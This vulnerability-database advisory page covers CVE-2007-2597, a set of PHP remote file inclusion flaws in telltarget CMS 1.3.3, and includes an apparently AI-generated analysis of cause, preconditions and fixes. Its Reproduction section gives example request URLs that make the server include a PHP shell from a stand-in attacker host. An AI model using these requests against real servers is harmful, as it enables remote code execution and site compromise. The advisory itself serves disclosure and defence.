VYPR
Unrated severityNVD Advisory· Published May 11, 2007· Updated Apr 23, 2026

CVE-2007-2597

CVE-2007-2597

Description

Multiple PHP remote file inclusion vulnerabilities in telltarget CMS 1.3.3 allow remote attackers to execute arbitrary PHP code via a URL in the (1) ordnertiefe parameter to site_conf.php; or the (2) tt_docroot parameter to (a) class.csv.php, (b) produkte_nach_serie.php, or (c) ref_kd_rubrik.php in functionen/; (d) hg_referenz_jobgalerie.php, (e) surfer_anmeldung_NWL.php, (f) produkte_nach_serie_alle.php, (g) surfer_aendern.php, (h) ref_kd_rubrik.php, or (i) referenz.php in module/; or (j) 1/lay.php or (k) 3/lay.php in standard/.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2

Patches

Vulnerability mechanics

Root cause

"Unsanitized user-supplied parameters (`ordnertiefe`, `tt_docroot`) are passed directly to PHP file-inclusion functions, allowing remote URL injection."

Attack vector

An attacker can inject a remote URL into the `ordnertiefe` or `tt_docroot` parameters via HTTP GET requests. Because these parameters are passed directly to PHP file-inclusion functions without validation, the server will fetch and execute arbitrary PHP code from the attacker-controlled URL [ref_id=1]. The attack requires no authentication and can be performed over the network by simply appending the malicious parameter to any of the listed script paths [ref_id=1].

Affected code

The vulnerability affects telltarget CMS version 1.3.3. The `ordnertiefe` parameter in `site_conf.php` and the `tt_docroot` parameter in multiple files under `functionen/`, `module/`, and `standard/` directories are used directly in PHP include/require statements without sanitization [ref_id=1]. The affected files include `class.csv.php`, `produkte_nach_serie.php`, `ref_kd_rubrik.php` (in functionen/), `hg_referenz_jobgalerie.php`, `surfer_anmeldung_NWL.php`, `produkte_nach_serie_alle.php`, `surfer_aendern.php`, `ref_kd_rubrik.php`, `referenz.php` (in module/), and `1/lay.php` and `3/lay.php` (in standard/) [ref_id=1].

What the fix does

No patch is provided in the bundle. The advisory does not include a vendor fix or remediation guidance [ref_id=1]. To close the vulnerability, the application must validate that the `ordnertiefe` and `tt_docroot` parameters contain only local, expected paths and reject any input containing URLs or directory traversal sequences. Alternatively, the application should use a whitelist of allowed include paths rather than accepting user-supplied values.

Preconditions

  • authNo authentication required
  • networkAttacker must be able to send HTTP GET requests to the server
  • configThe PHP `allow_url_include` directive must be enabled on the server for remote file inclusion to succeed
  • inputAttacker supplies a URL in the `ordnertiefe` or `tt_docroot` parameter

Reproduction

Send a GET request to any of the vulnerable scripts with a URL to a PHP shell as the parameter value. For example: `[Path]/phplib/site_conf.php?ordnertiefe=http://attacker.com/shell.txt` or `[Path]/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=http://attacker.com/shell.txt` [ref_id=1]. The server will include and execute the remote PHP code.

Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

16

News mentions

0

No linked articles in our index yet.